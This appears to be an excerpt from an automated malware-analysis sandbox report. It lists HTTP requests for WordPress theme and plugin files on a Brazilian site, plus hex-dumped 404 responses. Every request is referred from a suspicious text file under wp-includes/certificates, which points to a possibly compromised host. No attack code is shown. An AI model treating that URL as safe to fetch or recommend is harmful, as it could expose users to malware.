Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: unknownNetwork traffic detected: HTTP traffic on port 49180 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49180
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:29:57 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:30:02 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:30:02 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:30:08 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 14387277Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 